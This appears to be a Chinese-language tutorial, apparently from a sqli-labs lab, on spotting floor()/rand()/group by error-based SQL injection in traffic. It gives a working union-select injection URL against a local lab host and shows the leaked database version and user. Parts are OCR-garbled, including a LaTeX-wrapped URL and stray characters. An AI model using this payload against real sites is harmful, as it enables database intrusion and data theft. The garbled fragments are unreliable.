利用报错函数 floor 带回回显的流量分析

一、原理

通过使用 count()、floor()、rand()、group by 四个条件形成主键重复的错误

count(): 计算满足某一条件下的行数

floor(): 向下取整的函数

rand(): 生成 0~1 之间的浮点数

count(): group by: 针对表中的字段来分组

二、基础知识

(1) Group by

原表中有一个 name 字段,有四行数据,其中有两行是重复的

```
+----+
| name |
+----+
| aaa |
| bbb |
| ccc |
| bbb |
+----+
```

执行如下语句

```
mysql> select name,count(*) from testnokey group by name;
+----+
| name | count(*) |
+----+
| aaa | 1 |
| bbb | 2 |
| ccc | 1 |
+----+
```

(2) floor 函数

向下取整

```
mysql> select floor(0.6),floor(1.9);

+-----+

| floor(0.6) | floor(1.9) |

+-----+

| 0 | 1 |

+-----+

1 row in set (0.00 sec)
```

(3) rand 函数

如果不指定参数,可以生成0~1之间的随机浮点数

如果指定参数为0,生成的就是伪随机数了

三、报错攻击流量

floor()函数与 group by、rand()联用时,如果临时表中没有该主键,则在插入前会再计算一次 rand(),然后再由 group by 将计算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如:Duplicate entry "...' for key'group_key'。

 $\frac{\text{http://192.168.137.223/Less-5/?id=1\%27\%20union\%20select\%201,2,3\%20from\%20(select\%20count(*),concat((select\%20concat(version(),database(),user())\%20limit\%200,1),floor(rand(0)*2))x\%}{20from\%20information schema.tables\%20group\%20by\%20x)a\%20--+}$

http://192.168.137.223/Less-5/?id=1' union select 1,2,3 from (select count(*),concat((select

 $concat(version(), database(), user()) \ limit \ 0,1), floor(rand(0)*2))x \ from \ information_schema.tables$ group by x)a --+

원 192.168.137.223/Less-5/?id=1' union select 1,2,3 from (select count(*),concat((select concat(version(),datab 없

Welcome Dhakkan

Duplicate entry '5.5.44-0ubuntu0.14.04.1securityroot@localhost1' for key 'group_key'

四、流量特征

count(): 计算满足某一条件下的行数

floor(): 向下取整的函数

rand(): 生成 0~1 之间的浮点数 group by: 针对表中的字段来分组